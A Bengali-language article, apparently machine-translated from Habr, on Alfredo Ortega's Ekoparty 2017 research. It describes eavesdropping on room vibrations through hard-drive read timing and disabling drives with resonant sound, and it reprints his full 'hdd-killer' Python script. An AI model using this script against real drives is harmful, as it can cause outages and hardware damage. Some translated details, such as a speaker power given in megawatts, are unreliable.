বুয়েনস আইরেসে Ekoparty 2017 কম্পিউটার সিকিউরিটি কনফারেন্সে, আর্জেন্টিনার হ্যাকার আলফ্রেডো ওর্তেগা একটি খুব আকর্ষণীয় বিকাশ দেখিয়েছিলেন - একটি মাইক্রোফোন ব্যবহার না করেই প্রাঙ্গনে গোপন ওয়্যারট্যাপ করার একটি সিস্টেম। শব্দ সরাসরি হার্ড ড্রাইভে রেকর্ড করা হয়েছে!

HDD প্রধানত উচ্চ-তীব্রতা কম-ফ্রিকোয়েন্সি শব্দ, পদচিহ্ন এবং অন্যান্য কম্পন গ্রহণ করে। মানুষের বক্তৃতা এখনও স্বীকৃত হতে পারে না, যদিও বিজ্ঞানীরা এই দিকে গবেষণা পরিচালনা করছে (নিম্ন-ফ্রিকোয়েন্সি কম্পন দ্বারা বক্তৃতা স্বীকৃতি, যা রেকর্ড করা হয়, উদাহরণস্বরূপ, একটি জাইরোস্কোপ বা HDD থেকে)।

শব্দ হল বায়ু বা অন্য কোনো মাধ্যমের কম্পন। একজন ব্যক্তি তাদের কানের পর্দার মাধ্যমে উপলব্ধি করে, যা ভিতরের কানে কম্পন প্রেরণ করে। মাইক্রোফোনটি মোটামুটিভাবে কানের মতো ডিজাইন করা হয়েছে - এখানেও, কম্পনগুলি একটি পাতলা ঝিল্লি দ্বারা রেকর্ড করা হয়, যা একটি বৈদ্যুতিক আবেগকে উত্তেজিত করে। হার্ড ড্রাইভ, অবশ্যই, আশেপাশের বাতাসের ওঠানামার কারণে মাইক্রোস্কোপিক কম্পনের বিষয়ও। এটি HDD-এর প্রযুক্তিগত বৈশিষ্ট্য থেকেও জানা যায়: নির্মাতারা সাধারণত সর্বাধিক অনুমোদিত কম্পন স্তর নির্দেশ করে এবং হার্ড ড্রাইভ নিজেই প্রায়শই এটি রাবার বা অন্যান্য অন্তরক উপাদান দিয়ে তৈরি একটি কম্পন-প্রমাণ পাত্রে রাখার চেষ্টা করে। এটি থেকে সহজেই উপসংহারে আসা যায় যে HDD ব্যবহার করে শব্দ রেকর্ড করা যায়। যা বাকি আছে তা হল কিভাবে বের করা।

আলফ্রেডো ওর্তেগা পার্শ্ব-চ্যানেল আক্রমণের একটি অনন্য সংস্করণ প্রস্তাব করেছিলেন, যথা একটি সময় আক্রমণ। প্রদত্ত ইনপুট ডেটার উপর নির্ভর করে এই আক্রমণটি এই ধারণার উপর ভিত্তি করে যে ডিভাইসে বিভিন্ন সময়ে বিভিন্ন অপারেশন সঞ্চালিত হয়। এই ক্ষেত্রে, "ইনপুট ডেটা" হল রিডিং হেড এবং এইচডিডি প্ল্যাটারের কম্পন, যা পরিবেশের কম্পনের সাথে সম্পর্কযুক্ত, অর্থাৎ শব্দের সাথে। এইভাবে, গণনার সময় পরিমাপ করে এবং ডেটার পরিসংখ্যানগত বিশ্লেষণ করে, মাথা/প্ল্যাটারের কম্পন এবং তাই মাধ্যমের কম্পন পরিমাপ করা যেতে পারে। ডেটা পড়তে যত বেশি দেরি হবে, HDD কম্পন তত বেশি শক্তিশালী হবে এবং তাই, শব্দ তত বেশি হবে।

হার্ড ড্রাইভ কম্পন পরিমাপ কিভাবে? খুব সহজ: শুধু সিস্টেম কল চালান read () — এবং এটি সম্পূর্ণ হতে যে সময় লাগে তা রেকর্ড করুন। আধুনিক অপারেটিং সিস্টেম আপনাকে ন্যানোসেকেন্ড নির্ভুলতার সাথে সিস্টেম কলের সময় পড়তে দেয়।

একটি সেক্টর থেকে তথ্য পড়ার গতি মাথা এবং প্লেটারের অবস্থানের উপর নির্ভর করে, যা HDD কেসের কম্পনের সাথে সম্পর্কযুক্ত। এখানেই শেষ.

একটি সাধারণ Kscope ইউটিলিটি ব্যবহার করে পরিসংখ্যানগত বিশ্লেষণ করা হয়। যেমন তারা বলে, বুদ্ধিমান সবকিছুই সহজ।

Kscope ইউটিলিটি (stat() syscall)

সিস্টেম কল এক্সিকিউশন সময়ের ক্ষুদ্র পার্থক্যগুলি কল্পনা করার জন্য Kscope হল একটি ছোট ইউটিলিটি। উৎসGitHub এ প্রকাশিত.

একটি পৃথক ভান্ডারে HDD-সময় হার্ড ড্রাইভে টাইম অ্যাটাকের জন্য কনফিগার করা ইউটিলিটির একটি সংস্করণ আছে, অর্থাৎ সিস্টেম কল বিশ্লেষণ করার জন্য কনফিগার করা হয়েছে read ().

HDD ব্যবহার করে সাউন্ড রেকর্ডিংয়ের প্রদর্শন, কেস্কোপ ইউটিলিটির অপারেশন

অবশ্যই, বক্তৃতা এভাবে বোঝা যায় না, তবে কম্পন সেন্সর হিসাবে HDD বেশ উপযুক্ত। উদাহরণস্বরূপ, আপনি রেজিস্টার করতে পারেন যদি শক্ত জুতা বা খালি পায়ে কোনও ব্যক্তি কম্পিউটার সহ একটি ঘরে প্রবেশ করে (সম্ভবত, যদি আক্রমণকারী নরম স্নিকার্স পরে থাকে বা মেঝেতে একটি পুরু কার্পেট থাকে তবে HDD কম্পন নিবন্ধন করতে সক্ষম হবে না - এটি পরীক্ষা করার মতো)। কম্পিউটার ভাঙ্গা কাচ বা অন্যান্য ঘটনাকে শক্তিশালী শব্দের তীব্রতার সাথে নিবন্ধন করতে সক্ষম। অর্থাৎ, হার্ড ড্রাইভ এক ধরণের অননুমোদিত অনুপ্রবেশ সনাক্তকরণ সিস্টেম হিসাবে কাজ করতে পারে।

HDD হত্যাকারী

যাইহোক, একটি অনুরূপ কৌশল হার্ড ড্রাইভ নিষ্ক্রিয় করতে ব্যবহার করা যেতে পারে। শুধুমাত্র এখানে আমরা এইচডিডি থেকে দোলনগুলি সরিয়ে ফেলি না, তবে বিপরীতে, আমরা দোলকগুলি তৈরি করি যা এইচডিডিকে খাওয়ানো হয়। আপনি যদি HDD ফ্রিকোয়েন্সির সাথে অনুরণিত ফ্রিকোয়েন্সিতে স্পিকার থেকে শব্দ বাজান, তাহলে সিস্টেমটি শীঘ্রই একটি I/O ত্রুটি সহ ডিভাইসটি বন্ধ করে দেয় (লিনাক্স কার্নেল 120 ​​সেকেন্ড পরে HDD সম্পূর্ণরূপে বন্ধ করে দেয়)। হার্ড ড্রাইভ নিজেই অপরিবর্তনীয় ক্ষতির সম্মুখীন হতে পারে।

লিনাক্স কার্নেল এডিফায়ার r120u ইউএসবি স্পিকারের মাধ্যমে অনুরণিত ফ্রিকোয়েন্সিতে শব্দ সরবরাহ করার 19 সেকেন্ড পরে হার্ড ড্রাইভটি বন্ধ করে দেয়। স্পিকারটি শক্তির প্রায় এক চতুর্থাংশ (100 মেগাওয়াটের কম) এ চালু করা হয় এবং কম্পন বাড়ানোর জন্য টেবিলে লক্ষ্য করে HDD থেকে 20 সেমি দূরে অবস্থিত। থেকে ফ্রেম ভিডিও HDD হত্যাকারীর একটি প্রদর্শনের সাথে

এটা কৌতূহলজনক যে HDD-তে এই ধরনের "আক্রমণ" কখনও কখনও দৈনন্দিন জীবনে দুর্ঘটনাক্রমে ঘটে। উদাহরণ স্বরূপ, 2016 সালের সেপ্টেম্বরে, ING ব্যাঙ্ক ডেটা সেন্টার একটি ফায়ার ড্রিলের পরে 10 ঘন্টার জন্য অপারেশন স্থগিত করতে বাধ্য হয়েছিল। কয়েক ডজন হার্ড ড্রাইভ ব্যর্থ হয়েছে উচ্চ চাপে সিলিন্ডার থেকে নিষ্ক্রিয় গ্যাসের বিকট শব্দের কারণে। শব্দটি খুব জোরে ছিল (130 ডিবি-র বেশি), তবে আপনি হার্ড ড্রাইভে চিৎকারও করতে পারবেন না - এটি HDD অ্যাক্সেসে বিলম্ব বাড়ায়।

একটি ডেটা সেন্টারে হার্ড ড্রাইভে মানুষের চিৎকারের প্রদর্শন। লেটেন্সি পরিমাপ

অনুরণিত শব্দ তৈরি করার জন্য, আলফ্রেডো ওর্তেগা একটি পাইথন স্ক্রিপ্ট লিখেছিলেন hdd-হত্যাকারী (ভিডিও প্রদর্শন).

HDD হত্যাকারী স্ক্রিপ্ট এটি বেশ ছোট, তাই আপনি এটি সম্পূর্ণরূপে এখানে প্রকাশ করতে পারেন।

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

উত্স: www.habr.com